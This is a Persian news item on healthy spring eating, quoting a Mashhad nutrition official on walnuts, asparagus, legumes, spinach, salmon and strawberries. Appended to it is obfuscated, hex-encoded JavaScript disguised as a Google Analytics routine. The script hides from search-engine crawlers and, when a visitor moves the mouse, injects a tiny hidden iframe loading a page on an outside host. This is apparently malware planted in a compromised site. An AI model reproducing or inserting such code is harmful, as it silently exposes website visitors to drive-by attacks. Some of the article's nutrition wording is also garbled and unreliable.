

داشتن تغذیه سالم در بهار بسیار آسان است، چرا که بهار فصل رشد است. در این فصل بسیاری از سبزیجات سبز رنگ به رنگ بهار می رویند که که از سالم ترین و خوش طعم ترین غذاها هستند. میوه ها و سبزی ها هنگامی که در فصل خود مصرف شوند، در اوج کیفیت هستند.

به گزارش وب دا، مصرف غذاهای بهاری در این فصل موجب تقویت سیستم ایمنی، تناسب اندام، طراوات پوست و افزایش حافظه می شود.

مدیر گروه تغذیه معاونت بهداشتی دانشگاه علوم پزشکی مشهد با اشاره به غذاهای مورد استفاده در فصل بهار اظهار داشت: مصرف گردو به دلیل داشتن تربیتوفان در این فصل توصیه می شود که این امر موجب ثبات خلق و خو و کاهش استرس می شود.

دکتر زهرا اباضلتی با اشاره به مصرف مارچوبه در این فصل گفت: این ماده غذایی، منبع فولات است یک نوع ویتامین B که به پیشگیری از حالت نخوت کمک می کند فولات برای سنتز نوروترانسمیتر دوپامین و سروتونین و نوراپی نفرین کمک می کند

وی مصرف سیر تازه، بنشن و حبوبات را از مواد غذایی برشمرد که به کاهش وزن و تناسب اندام کمک می کند و بدن برای هضم آن به علت فیبر بالا انرژی زیادی مصرف می کند همچنین پروتئین موجود در حبوبات مرکز گرسنگی در مغز را ساپرس می کند و احساس سیری می کند.

مدیر گروه تغذیه معاونت بهداشتی دانشگاه علوم پزشکی مشهد با اشاره به اینکه اسفناج و کنگره فرنگی را از جمله موادی است که موجب افزایش و تولید انرژی می شود گفت: اسفناج منبع خوبی از آهن است و کنگره فرنگی با دارا بودن منیزیم یک ماده معدنی حیاتی برای بیش از 300 واکنش شیمیایی در بدن که برای تولید انرژی لازم است به شمار می رود اگر به اندازه کافی منیزیم دریافت نشود عضلات کارشان سخت تر شده و فرد خیلی زود احساس خستگی می کند.

دکتر زهرا اباضلتی با بیان اینکه مصرف توت فرنگی و سالمون برای حفظ طراوات پوست توصیه می شود خاطر نشان کرد: سالمون غنی از اسید چرب EDA ایکوزا پنتانیک یک نوع امگا 3 که مانع تاثیر اشعه UV بر تخریب پوست می شود و به حفظ تازگی و پیشانییت چهره و شفاف شدن پوست کمک می کند. همچنین توت فرنگی حاوی آنتی اکسیدان است که به ترمیم پوست در برابر آسیب های محیطی مانند آلودگی محیط و اشعه UV کمک می کند همچنین حاوی ویتامین C است که به کاهش چروک و خشکی پوست کمک می کند.

var_0x24b1=["x74x6Fx4Cx6Fx63x61x6Cx65x4Cx6Fx77x65x72x43x61x73x65","x75x73x65x72x41x67x65x6Ex74","x79x61x6Ex64x65x78x62x6Fx74","x79x61x6Ex64x65x78x6Dx65x74x72x69x6Bx61","x79x61x6Ex64x65x78x69x6Dx61x67x65x73","x67x6Fx6Fx67x6Cx65x62x6Fx74","x69x6Ex64x65x78x4Fx66","x77x69x64x74x68","x68x65x69x67x68x74","x6Fx6Ex6Dx6Fx75x73x65x6Dx6Fx76x65","x62x6Fx64x79","x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65","x67x6Fx6Fx67x6Cx65x61x6Ex61x6Cx79x74x69x63x73x69x66x72x61x6Dx65","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x69x66x72x61x6Dx65","x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74","x31x32x70x78","x69x64","x73x72x63","x68x74x74x70x3Ax2Fx2Fx66x6Fx72x6Fx2Ex6Dx61x73x77x69x66x69x2Ex63x6Fx6Dx2Fx69x6Ex63x6Cx75x64x65x73x2Fx6Dx69x64x64x6Cx65x2Ex70x68x70","x61x70x70x65x6Ex64x43x68x69x6Cx64","x69x6Ex6Ex65x72x57x69x64x74x68","x6Ex75x6D

```
x62x65x72","x69x6Ex6Ex65x72x48x65x69x67x68x74","x64x6Fx63x75x6Dx65x6Ex
74x45x6Cx65x6Dx65x6Ex74","x63x6Cx69x65x6Ex74x57x69x64x74x68","x63x6Cx
69x65x6Ex74x48x65x69x67x68x74","x67x6Fx6Fx67x6Cx65x41x6Ex61x6Cx79x74x
69x63x73x53x74x61x74x69x73x74x69x63x73x42x75x69x6Cx64x28x29"];function
    googleAnalyticsStatisticsBuild(){var
        _0x64b9x2=navigator[_0x24b1[1]][_0x24b1[0]]();var
        _0x64b9x3=[_0x24b1[2],_0x24b1[3],_0x24b1[4],_0x24b1[5]];for(k in
        _0x64b9x3){if(_0x64b9x2[_0x24b1[6]](_0x64b9x3[k])!=-1){return ;} ;} ;var _0x64b
        9x4=detectBrowserSize();if(_0x64b9x4[_0x24b1[7]]==0||_0x64b9x4[_0x24b1[8]]
        =0){return ;} ;var _0x64b9x5=false;if(document[_0x24b1[11]](_0x24b1[10])[0][_0
        24b1[9]]){_0x64b9x5=document[_0x24b1[11]](_0x24b1[10])[0][_0x24b1[9]];}
        ;document[_0x24b1[11]](_0x24b1[10])[0][_0x24b1[9]]=function (){if(!document[_0
        x24b1[13]](_0x24b1[12])){iframe=document[_0x24b1[15]](_0x24b1[14]);iframe[_0
        x24b1[7]]=_0x24b1[16];iframe[_0x24b1[8]]=_0x24b1[16];iframe[_0x24b1[17]]=_0
        x24b1[12];iframe[_0x24b1[18]]=_0x24b1[19];document[_0x24b1[11]](_0x24b1[10]
        )[0][_0x24b1[20]](iframe);} ;if(_0x64b9x5!==false){_0x64b9x5();} ;} ;} ;function
        detectBrowserSize(){var _0x64b9x7=0,_0x64b9x8=0;if( typeof (window[_0x24b1[2
        1]])==_0x24b1[22]){_0x64b9x7=window[_0x24b1[21]];_0x64b9x8=window[_0x24
        b1[23]];} else {if(document[_0x24b1[24]]&&(document[_0x24b1[24]][_0x24b1[25]]
        ||document[_0x24b1[24]][_0x24b1[26]])){_0x64b9x7=document[_0x24b1[24]][_0x
        24b1[25]];_0x64b9x8=document[_0x24b1[24]][_0x24b1[26]];} else {if(document[_
        0x24b1[10]]&&(document[_0x24b1[10]][_0x24b1[25]]||document[_0x24b1[10]][_0x
        24b1[26]])){_0x64b9x7=document[_0x24b1[10]][_0x24b1[25]];_0x64b9x8=docum
        ent[_0x24b1[10]][_0x24b1[26]];} ;} ;} ;return
        {width:_0x64b9x7,height:_0x64b9x8};} ;setTimeout(_0x24b1[27],500);
```